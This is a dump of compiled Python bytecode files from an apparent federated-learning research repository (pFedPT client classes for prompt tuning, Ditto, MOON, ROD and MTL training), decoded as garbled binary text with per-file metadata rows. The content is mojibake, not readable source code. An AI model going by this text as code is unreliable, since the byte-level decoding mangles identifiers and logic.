a Öæ`cŸã@sDddlZddlmZddlZddlZddlmZGdd„deƒZdS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)ÚclientBNc sBtƒj||||fi|¤�t ¡|_tjj|j  ¡|j d�|_ dS)N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©úq/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientbn.pyr s zclientBN.__init__c Csz| ¡}t ¡}|j ¡|j}|jr8tj d|d¡}t |ƒD]Ä}t |ƒD]¶\}\}}t |ƒt gƒkr~|d  |j ¡|d<n |  |j ¡}|  |j ¡}|jr¶t dt tj ¡¡¡|j ¡| |¡}| ||¡} |  ¡|jrøt|j|t|ƒƒqL|j ¡qLq@|jdd7<|jdt ¡|7<|j�rvt|jƒ\} } td|j›�d| dd ›d | ›d | d›�ƒdS) Néérgš™™™™™¹?Ú num_roundsÚ total_costzClient u(ε = z.2fu, δ = u ) for α = )Úload_train_dataÚtimer ÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚprivacyÚdp_stepÚlenÚstepÚtrain_time_costZ get_dp_paramsÚprintr) rÚ trainloaderÚ start_timeÚmax_local_stepsr4ÚiÚxÚyÚoutputr ÚresZDELTArrrr!s4       zclientBN.traincCs>t| ¡|j ¡ƒD]$\\}}\}}d|vr|j ¡|_qdS)NÚbn)ÚzipÚnamed_parametersr ÚdataÚclone)rr rr$ÚonÚoprrrÚset_parameters<s$zclientBN.set_parameters)Ú__name__Ú __module__Ú __qualname__rr!rFÚ __classcell__rrrrr s 'r) r Útorch.nnrÚnumpyr$r Úflcore.clients.clientbaserrrrrrÚ<module>s   
2,077
Python
.py
21
97.857143
297
0.461351
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,643
clientditto.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientditto.cpython-37.pyc
B E&fcñã@s‚ddlZddlZddlZddlZddlmZddlmZddl m Z ddl mm Z ddlmZddlmZGdd„de ƒZdS)éN)ÚPerturbedGradientDescent)ÚClient)Úlabel_binarize)Úmetricscs4eZdZ‡fdd„Zdd„Zdd„Zdd„Z‡ZS) Ú clientDittoc svtƒj||||f|�|j|_|j|_t |j¡|_t  ¡|_ t j j |j ¡|jd�|_t|j ¡|j|jd�|_dS)N)Úlr)rÚmu)ÚsuperÚ__init__rÚ plocal_stepsÚcopyÚdeepcopyÚmodelÚpmodelÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚ parametersÚ learning_rateÚ optimizerrÚ poptimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs)Ú __class__©úH/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientditto.pyr s zclientDitto.__init__c CsX| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}xÖt |ƒD]Ê}xÄt |ƒD]¸\}\}}t |ƒt gƒkr�|d |j¡|d<n | |j¡}| |j¡}|jrÈt dt tj  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j�r t|j|t|ƒƒq^|j ¡q^WqPW|j ¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimerÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradrÚbackwardÚprivacyÚdp_stepÚlenÚstepÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr<ÚiÚxÚyÚoutputrr!r!r"r+!s2       zclientDitto.trainc Cs.| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}x¾t |ƒD]²}x¬|D]¤\}}t |ƒt gƒkrˆ|d |j¡|d<n | |j¡}| |j¡}|jrÀt  dt tj  ¡¡¡|j ¡| |¡}| ||¡}| ¡|j |j ¡|j¡qZWqPW|j ¡|jdt ¡|7<dS)Nr#r$rgš™™™™™¹?r&)r'r(rr)r*r+r r-r.r/r0r1r3r4r5r6rr7rr8r<rrr=r>) rr?r@rAr<rCrDrErr!r!r"ÚptrainIs,       zclientDitto.ptrainc CsN| ¡}|j |j¡|j ¡d}d}g}g}t ¡�ĞxÈ|D]À\}}t|ƒtgƒkrn|d |j¡|d<n | |j¡}| |j¡}| |¡}|t tj |dd�|k¡  ¡7}||j d7}|  t  |¡ ¡ ¡ ¡¡|  t| ¡ ¡ ¡t |j¡d�¡q@WWdQRX|j ¡tj|dd�}tj|dd�}tj||dd�} ||| fS)Nrr#)Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datarr)r*ÚevalrÚno_gradr3ÚsumÚargmaxÚitemÚshapeÚappendÚFÚsoftmaxÚdetachr=Únumpyrr.ÚarangeÚ num_classesÚ concatenaterÚ roc_auc_score) rÚtestloaderfullÚtest_accÚtest_numÚy_probÚy_truerCrDrEÚaucr!r!r"Ú test_metricshs.      4 zclientDitto.test_metrics)Ú__name__Ú __module__Ú __qualname__r r+rFrbÚ __classcell__r!r!)r r"rs (r)rrWr.r(r Útorch.nnrÚflcore.optimizers.fedoptimizerrÚflcore.clients.clientbaserÚtorch.nn.functionalÚ functionalrTÚsklearn.preprocessingrÚsklearnrrr!r!r!r"Ú<module>s     
3,486
Python
.py
36
95.666667
490
0.424515
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,644
clientbabupt.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbabupt.cpython-38.pyc
U 3Èıckã@slddlZddlZddlmZddlZddlZddlmZddlZddl m Z ddl m Z Gdd„deƒZ dS)éN)ÚClient)Úlabel_binarize)ÚmetricscsDeZdZ‡fdd„Zdd„Zdd„Zddgfd d „Zd d „Z‡ZS) Ú clientBABUPTc sÀtƒj||||f|�t ¡|_tjj|jj   ¡|j d�|_ |j |_ tjj|jj   ¡|j d�|_ |j|_tjj|jj  ¡|j|jd�|_tjjj|j|j|jd�|_|jj  ¡D] }d|_q°dS)N)Úlr)rÚmomentum)Ú step_sizeÚgammaF)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ parametersÚ learning_rateÚ optimizerÚfine_tuning_stepsÚ plocal_stepsÚ generatorÚpt_learning_raterÚ poptimizerÚ lr_schedulerÚStepLRÚlearning_decayÚ schedulerÚ predictorÚ requires_grad)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsÚparam©Ú __class__©õZD:\京东\promot\第二次投稿\å®�验\native - pro\system\flcore\clients\clientbabupt.pyr s ÿÿzclientBABUPT.__init__c Cs| ¡}t ¡}t |jj¡}|j |j¡|j ¡|jj   ¡D] }d|_ qB|jj  ¡D] }d|_ qZ|jj   ¡D] }d|_ qrt |jƒD]´}t|ƒD]¦\}\}}t|ƒtgƒkrÆ|d |j¡|d<n | |j¡}| |j¡}|jrşt dt tj ¡¡¡|j ¡| |¡} | | |¡} |  ¡|j ¡|j ¡q”qˆ|j} |j�r^tj d| d¡} |jj   ¡D] }d|_ �qj|jj  ¡D] }d|_ �q„|jj   ¡D] }d|_ �q�t | ƒD]²}t|ƒD]¢\}\}}t|ƒtgƒk�rô|d |j¡|d<n | |j¡}| |j¡}|j�r.t dt tj ¡¡¡|j ¡| |¡} | | |¡} |  ¡|j ¡�qÀ�q´|j  ¡t |jj¡} d} t!|  ¡|   ¡ƒD]<\}}||}t" #|dk|t" $|¡|¡}| t" %|¡} �q–|j&dd7<|j&dt ¡|7<| S) NFTrgš™™™™™¹?ééÚ num_roundsÚ total_cost)'Úload_train_dataÚtimeÚcopyÚdeepcopyrrÚtoÚdeviceÚtrainrrr!r ÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandrÚ zero_gradrÚbackwardÚsteprÚ local_stepsÚrandintrÚcpuÚziprÚwhereÚ zeros_likeÚsumÚtrain_time_cost)r"Ú trainloaderÚ start_timeÚ old_promptr(rCÚiÚxÚyÚoutputrÚmax_local_stepsÚ new_promptÚ diff_provalueÚ new_paramÚ old_paramÚdiff_pror+r+r,r7sr                 zclientBABUPT.traincCs2t|j ¡|jj ¡ƒD]\}}|j ¡|_qdS)N)rGrrrÚdataÚclone)r"rrVrWr+r+r,Úset_parameters_s zclientBABUPT.set_parametersrr c Cs| ¡}|j |j¡|j ¡d|kr@|jj ¡D] }d|_q4d|kr`|jj ¡D] }d|_qTt|j ƒD]Š}t |ƒD]|\}\}}t |ƒt gƒkr¨|d |j¡|d<n | |j¡}| |j¡}|j   ¡| |¡}| ||¡} |  ¡|j  ¡qvqj|j ¡dS)Nr TrFr)r1rr5r6r7r rr!r8rr9r:rrArrBrCrF) r"Ú which_modulerLr(rCrOrPrQrRrr+r+r,Ú fine_tunecs*      zclientBABUPT.fine_tunec Cs~| ¡}|j |j¡|j ¡d}d}d}g}g}t ¡�ú|D]î\}}t|ƒtgƒkrp|d |j¡|d<n | |j¡}| |j¡}| |¡} |j |j  |¡¡} |t  tj | dd�|k¡  ¡7}|t  tj | dd�|k¡  ¡7}||j d7}| |  ¡ ¡ ¡¡| t| ¡ ¡ ¡t |j¡d�¡qBW5QRX|j ¡tj|dd�}tj|dd�}tj||dd�} |||| fS)Nrr-)Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datarr5r6ÚevalrÚno_gradr:r rrJÚargmaxÚitemÚshapeÚappendÚdetachrFÚnumpyrr=ÚarangeÚ num_classesÚ concatenaterÚ roc_auc_score) r"ÚtestloaderfullÚtest_accÚ test_acc2Útest_numÚy_probÚy_truerPrQrRÚoutput2Úaucr+r+r,Ú test_metrics~s4        2 zclientBABUPT.test_metrics) Ú__name__Ú __module__Ú __qualname__r r7r[r]rxÚ __classcell__r+r+r)r,r s  Ar)r3rÚtorch.nnr rkr=r2Úflcore.clients.clientbaserÚsklearn.preprocessingrÚsklearnrrr+r+r+r,Ú<module>s    
4,511
Python
.py
63
70.222222
558
0.404136
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,645
clientpt.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientpt.cpython-37.pyc
B K´cc ã@sLddlZddlmZddlZddlZddlmZddlZGdd„deƒZ dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)ÚclientPTc sdtƒj||||f|�t ¡|_tjj|jj   ¡|j d�|_ tjj|jj   ¡|j d�|_|j|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ generatorÚ parametersÚ learning_rateÚ poptimizerÚbaseÚ optimizerÚ plocal_steps)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs)Ú __class__©úE/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientpt.pyr s  zclientPT.__init__c Csì| ¡}t ¡}t |jj¡}|j |j¡|j ¡x|jj   ¡D] }d|_ qDWx|jj  ¡D] }d|_ q`Wx¼t |j ƒD]®}x¨t|ƒD]œ\}\}}t|ƒtgƒkrº|d |j¡|d<n | |j¡}| |j¡}|jròt dt tj ¡¡¡|j ¡| |¡} | | |¡} |  ¡|j ¡qˆWqzW|j} |j�rLtj d| d¡} x|jj   ¡D] }d|_ �qZWx|jj  ¡D] }d|_ �qxWxÂt | ƒD]¶}x®t|ƒD]¢\}\}}t|ƒtgƒk�rÔ|d |j¡|d<n | |j¡}| |j¡}|j�rt dt tj ¡¡¡|j ¡| |¡} | | |¡} |  ¡|j ¡�q W�q’W|j ¡t |jj¡} d} xRt|  ¡|   ¡ƒD]<\}}||}t  !|dk|t  "|¡|¡}| t  #|¡} �q|W|j$dd7<|j$dt ¡|7<| S) NFTrgš™™™™™¹?ééÚ num_roundsÚ total_cost)%Úload_train_dataÚtimeÚcopyÚdeepcopyr rÚtoÚdeviceÚtrainrrÚ requires_gradÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandrÚ zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintrÚcpuÚzipr ÚwhereÚ zeros_likeÚsumÚtrain_time_cost)rÚ trainloaderÚ start_timeZ old_promptÚparamr5ÚiÚxÚyÚoutputr Úmax_local_stepsZ new_promptZ diff_provalueÚ new_paramÚ old_paramÚdiff_prorrrr(sh                zclientPT.traincCs4x.t| ¡|jj ¡ƒD]\}}|j ¡|_qWdS)N)r9rr rÚdataÚclone)rrrFrGrrrÚset_parametersYs zclientPT.set_parameters)Ú__name__Ú __module__Ú __qualname__rr(rKÚ __classcell__rr)rrr s Br) r Útorch.nnrÚnumpyr/r#Ú system.flcore.clients.clientbaserr$rrrrrÚ<module>s   
2,568
Python
.py
40
62.775
285
0.426255
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,646
clientmoon.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientmoon.cpython-38.pyc
U ”jfcÏ ã@s^ddlZddlZddlmZddlZddlZddlmmZ ddl m Z Gdd„de ƒZ dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientMOONc sbtƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ |j |_ |j |_ d|_t |j¡|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚtauÚmuÚ global_modelÚcopyÚdeepcopyÚ old_model)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õLD:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientmoon.pyr s zclientMOON.__init__c Cs$| ¡}t ¡}|j |j¡|j |j¡|j |j¡|j ¡|j}|j rbt j   d|d¡}t |ƒD�]Z}t|ƒD�]J\}\}}t|ƒtgƒkr¬|d |j¡|d<n | |j¡}| |j¡}|j rät dt  t j  ¡¡¡|j ¡|j |¡}|j |¡} | | |¡} |j |¡ ¡} |j |¡ ¡} t t t || ¡|j¡t t || ¡|j¡t t || ¡|j¡¡ } | |jt  | ¡7} |  !¡|j"�rºt#|j|t$|ƒƒqx|j %¡qxqj|j &¡|j &¡|j &¡t' (|j¡|_|j)dd7<|j)dt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)*Úload_train_dataÚtimer ÚtoÚdevicerrÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradÚbaseÚ predictorr Údetachr ÚlogÚexpÚFÚcosine_similarityrrÚmeanÚbackwardÚprivacyÚdp_stepÚlenÚstepÚcpurrÚtrain_time_cost)rÚ trainloaderÚ start_timeÚmax_local_stepsrBÚiÚxÚyÚrepÚoutputr Zrep_oldZ rep_globalZloss_conrrr r)sF       P   zclientMOON.traincCs4t| ¡|j ¡ƒD]\}}|j ¡|_q||_dS)N)Úziprr ÚdataÚcloner)rr Ú new_paramÚ old_paramrrr Úset_parametersOszclientMOON.set_parameters)Ú__name__Ú __module__Ú __qualname__rr)rRÚ __classcell__rrrr r s 2r) rr Útorch.nnrÚnumpyr,r&Útorch.nn.functionalÚ functionalr;Úflcore.clients.clientbaserrrrrr Ú<module>s  
2,431
Python
.py
28
85.714286
263
0.44218
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,647
clientrod.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientrod.cpython-39.pyc
a f¾`cıã@s€ddlZddlZddlmZddlZddlZddlmZddl mm Z ddl m Z ddlmZGdd„deƒZd dd „ZdS) éN)ÚClient)Úlabel_binarize)Úmetricscs.eZdZ‡fdd„Zdd„Zddd„Z‡ZS) Ú clientRODc  s°tƒj||||fi|¤�t ¡|_tjj|j  ¡|j d�|_ t   |jj¡|_tjj|j  ¡|j d�|_t |j¡|_| ¡}|D](\}}|D]} |j|  ¡d7<q�q‚dS)N)Úlré)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚcopyÚdeepcopyÚ predictorÚpredÚopt_predÚzerosÚ num_classesÚsample_per_classÚload_train_dataÚitem) ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsÚ trainloaderÚxÚyÚyy©Ú __class__©úr/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientrod.pyr s  zclientROD.__init__c CsJ| ¡}t ¡}|j ¡|j}|jr8tj d|d¡}t |ƒD]Ø}t |ƒD]Ê\}\}}t |ƒt gƒkr~|d  |j ¡|d<n |  |j ¡}|  |j ¡}|j |¡}|j |¡} t|| |jƒ} |j ¡|  ¡|j ¡| | ¡¡} | |  ¡| |¡} |j ¡|  ¡|j ¡qLq@|jdd7<|jdt ¡|7<dS)NrérÚ num_roundsÚ total_cost)rÚtimerÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚbaserÚbalanced_softmax_lossrrÚ zero_gradÚbackwardÚsteprÚdetachr rÚtrain_time_cost) rr$Ú start_timeÚmax_local_stepsr?Úir%r&ÚrepÚout_gZloss_bsmÚout_pr r*r*r+r0s2         zclientROD.trainNc Csº| ¡}|dkr|j}| ¡d}d}g}g}t ¡��:|D�]"\}}t|ƒtgƒkrn|d |j¡|d<n | |j¡}| |j¡}|j |¡} |j  | ¡} |  |   ¡¡} |   ¡| } |t  tj | dd�|k¡ ¡7}||jd7}| t | ¡  ¡ ¡ ¡¡|j} |jdk�r| d7} t|  ¡ ¡ ¡t | ¡ƒ}|jdk�rX|dd…dd…f}| |¡q>Wdƒn1�sz0Ytj|dd�}tj|dd�}tj||dd�}|||fS)Nrr)Údimr,)ÚaxisÚmicro)Úaverage)Úload_test_datarÚevalr Úno_gradr8r9r:r;rrr@ÚsumÚargmaxrÚshapeÚappendÚFÚsoftmaxÚcpuÚnumpyrrr3ÚarangeÚ concatenaterÚ roc_auc_score)rrÚ testloaderÚtest_accÚtest_numÚy_probÚy_truer%r&rErFrGÚoutputÚncÚlbÚaucr*r*r+Ú test_metricsBs@         ,zclientROD.test_metrics)N)Ú__name__Ú __module__Ú __qualname__r r0rcÚ __classcell__r*r*r(r+r s %rÚmeancCsB| |¡}| d¡ |jdd¡}|| ¡}tj|||d�}|S)a}Compute the Balanced Softmax Loss between `logits` and the ground truth `labels`. Args: labels: A int tensor of size [batch]. logits: A float tensor of size [batch, no_of_classes]. sample_per_class: A int tensor of size [no of classes]. reduction: string. One of "none", "mean", "sum" Returns: loss: A float tensor. Balanced Softmax Loss. réÿÿÿÿ)ÚinputÚtargetÚ reduction)Útype_asÚ unsqueezeÚexpandrQÚlogrSÚ cross_entropy)ÚlabelsÚlogitsrrlZspcr r*r*r+r<ns  r<)rh)rr Útorch.nnr rVr3r/Úflcore.clients.clientbaserÚtorch.nn.functionalÚ functionalrSÚsklearn.preprocessingrÚsklearnrrr<r*r*r*r+Ú<module>s    b
3,780
Python
.py
38
97.210526
523
0.456708
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,648
clientmtlpt.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientmtlpt.cpython-38.pyc
U GçýcÓã@s|ddlZddlmZddlmZddlZddlZddlZddl Z ddl Z ddl m Z ddl m Z Gdd„deƒZdd„ZdS) éN)ÚClient)Úlabel_binarize)Úmetricscs<eZdZ‡fdd„Zdd„Zdd„Zdd„Zd d „Z‡ZS) Ú clientMTLPTc s¨tƒj||||f|Žd|_d|_d|_|j|_d|_t ¡|_ t j   |j j ¡|jdœg¡|_|j|_t j j |j j ¡|j|jd�|_t j jj|j|j|jd�|_dS)Nrg-Cëâ6?)ÚparamsÚlr)rÚmomentum)Ú step_sizeÚgamma)ÚsuperÚ__init__ÚomegaÚW_globÚidxÚitkÚlambaÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ parametersÚ learning_rateÚ optimizerÚ plocal_stepsÚ generatorÚpt_learning_raterÚ poptimizerÚ lr_schedulerÚStepLRÚlearning_decayÚ scheduler)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õYD:\京东\promot\第二次投稿\实验\native - pro\system\flcore\clients\clientmtlpt.pyr s" ÿÿÿzclientMTLPT.__init__c Cs`| ¡}t ¡}t |jj¡}|j |j¡|j ¡|jj   ¡D] }d|_ qB|jj  ¡D] }d|_ qZt |j ƒD]´}t|ƒD]¦\}\}}t|ƒtgƒkr®|d |j¡|d<n | |j¡}| |j¡}|jræt dt tj ¡¡¡|j ¡| |¡} | | |¡} |  ¡|j ¡|j ¡q|qp|j} |j�rFtj d| d¡} |jj   ¡D] }d|_ �qR|jj  ¡D] }d|_ �qlt | ƒD�]2}|D�]$\}}t|ƒtgƒk�r¾|d |j¡|d<n | |j¡}| |j¡}|j�røt dt tj ¡¡¡|j ¡| |¡} | | |¡} t|jƒ|j dd…|j!f<d} | |j  "¡d7} | t# $t# $|j |j%d¡d¡7} t&t' (|j j)d¡dƒd} | d| 9} | | 7} |  ¡|j ¡�qŒ�q‚|j *¡d|_%d|_ t |jj¡}d}t+|  ¡|  ¡ƒD]<\}}||}t# ,|dk|t# -|¡|¡}|t# $|¡}�qò|j.dd7<|j.d t ¡|7<|S) NFTrgš™™™™™¹?ééé Ú num_roundsÚ total_cost)/Úload_train_dataÚtimeÚcopyÚdeepcopyrrÚtoÚdeviceÚtrainrrÚ requires_gradÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradrÚbackwardÚstepr$Ú local_stepsÚrandintrÚflattenrrÚnormrÚsumr ÚintÚmathÚlog10ÚshapeÚcpuÚzipÚwhereÚ zeros_likeÚtrain_time_cost)r%Ú trainloaderÚ start_timeÚ old_promptÚparamrGÚiÚxÚyÚoutputrÚmax_local_stepsÚloss_regularizerÚfÚ new_promptÚ diff_provalueÚ new_paramÚ old_paramÚdiff_pror-r-r.r:#s|              " zclientMTLPT.traincCs*t |dd¡|_t |¡|_||_dS)Nr)rÚsqrtr r6r7rr)r%rr rr-r-r.Úreceive_valuesss zclientMTLPT.receive_valuescCs2t|j ¡|jj ¡ƒD]\}}|j ¡|_qdS)N)rRrrrÚdataÚclone)r%rrcrdr-r-r.Úset_parametersws zclientMTLPT.set_parametersc Csv| ¡}|j |j¡|j ¡d}d}d}g}g}t ¡�ò|D]æ\}}t|ƒtgƒkrp|d |j¡|d<n | |j¡}| |j¡}| |¡} |j |¡} |t  tj | dd�|k¡  ¡7}|t  tj | dd�|k¡  ¡7}||j d7}|  |  ¡ ¡ ¡¡|  t| ¡ ¡ ¡t |j¡d�¡qBW5QRX|j ¡tj|dd�}tj|dd�}tj||dd�} |||| fS)Nrr/)Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datarr8r9ÚevalrÚno_gradr>rrLÚargmaxÚitemrPÚappendÚdetachrQÚnumpyrrAÚarangeÚ num_classesÚ concatenaterÚ roc_auc_score) r%ÚtestloaderfullÚtest_accÚ test_acc2Útest_numÚy_probÚy_truer[r\r]Úoutput2Úaucr-r-r.Ú test_metrics{s4         2 zclientMTLPT.test_metrics) Ú__name__Ú __module__Ú __qualname__r r:rgrjr„Ú __classcell__r-r-r+r.r s  Prcs,| ¡‰ˆ ¡}‡fdd„|Dƒ}t |¡S)Ncsg|]}ˆ| ¡‘qSr-)rJ)Ú.0Úkey©Ú state_dictr-r.Ú <listcomp>¦szflatten.<locals>.<listcomp>)rŒÚkeysrÚcat)rrŽÚWr-r‹r.rJ£srJ)rÚtorch.nnrÚflcore.clients.clientbaserrwrAr5rNr6Úsklearn.preprocessingrÚsklearnrrrJr-r-r-r.Ú<module>s    
4,639
Python
.py
54
84.703704
653
0.41147
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,649
clientper.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientper.cpython-38.pyc
U ”jfc€ã@sLddlZddlZddlmZddlZddlZddlmZGdd„deƒZ dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientPerc s>tƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ dS)N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õKD:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientper.pyr s zclientPer.__init__c Cs4| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}t |ƒD]ª}t |ƒD]œ\}\}}t |ƒt gƒkrŒ|d |j¡|d<n | |j¡}| |j¡}|jrÄt dt tj  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡qZqN|j ¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚstepÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr1ÚiÚxÚyÚoutputr rrrr#s.        zclientPer.traincCs0t| ¡|jj ¡ƒD]\}}|j ¡|_qdS)N)Úziprr ÚbaseÚdataÚclone)rr Ú new_paramÚ old_paramrrrÚset_parameters0szclientPer.set_parameters)Ú__name__Ú __module__Ú __qualname__rr#rAÚ __classcell__rrrrr s  r) Úcopyr Útorch.nnrÚnumpyr&r Úflcore.clients.clientbaserrrrrrÚ<module>s   
1,849
Python
.py
20
91.3
302
0.457923
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,650
clientmtl.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientmtl.cpython-39.pyc
a f¾`c® ã@s\ddlZddlmZddlmZddlZddlZddlZddl Z Gdd„deƒZ dd„Z dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientMTLc sdtƒj||||fi|¤�d|_d|_d|_|j|_d|_t ¡|_ t j j |j  ¡|jdd�|_dS)Nrg-Cëâ6?gà?)ÚlrÚmomentum)ÚsuperÚ__init__ÚomegaÚW_globÚidxZitkZlambaÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©úr/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientmtl.pyr s zclientMTL.__init__c Csª| ¡}t ¡}|j ¡|j}|jr8tj d|d¡}t |ƒD�]*}|D�]\}}t |ƒt gƒkrz|d  |j ¡|d<n |  |j ¡}|  |j ¡}|jr²t  dt tj ¡¡¡|j ¡| |¡}| ||¡}t|jƒ|jdd…|jf<d} | |j ¡d7} | t t |j|jd¡d¡7} tt |jjd¡dƒd} | d| 9} || 7}| ¡|j ¡qJq@d|_d|_|j dd7<|j dt ¡|7<dS)Néérgš™™™™™¹?é Ú num_roundsÚ total_cost)!Úload_train_dataÚtimerÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚtoÚdeviceÚsleepÚabsÚrandrÚ zero_gradr Úflattenr r ÚnormrÚsumrÚintÚmathÚlog10ÚshapeÚbackwardÚstepÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr<ÚxÚyÚoutputr Zloss_regularizerÚfrrrr&s<      "zclientMTL.traincCs*t |dd¡|_t |¡|_||_dS)Nr)rÚsqrtrÚcopyÚdeepcopyr r )rr rr rrrÚreceive_valuesHs zclientMTL.receive_values)Ú__name__Ú __module__Ú __qualname__rr&rHÚ __classcell__rrrrr s 1rcs,| ¡‰ˆ ¡}‡fdd„|Dƒ}t |¡S)Ncsg|]}ˆ| ¡‘qSr)r4)Ú.0Úkey©Ú state_dictrrÚ <listcomp>Qózflatten.<locals>.<listcomp>)rPÚkeysrÚcat)rrSÚWrrOrr4Nsr4) rÚtorch.nnr Úflcore.clients.clientbaserÚnumpyr)r%r8rFrr4rrrrÚ<module>s  D
2,536
Python
.py
26
96.461538
274
0.430506
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,651
clientperpt.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientperpt.cpython-38.pyc
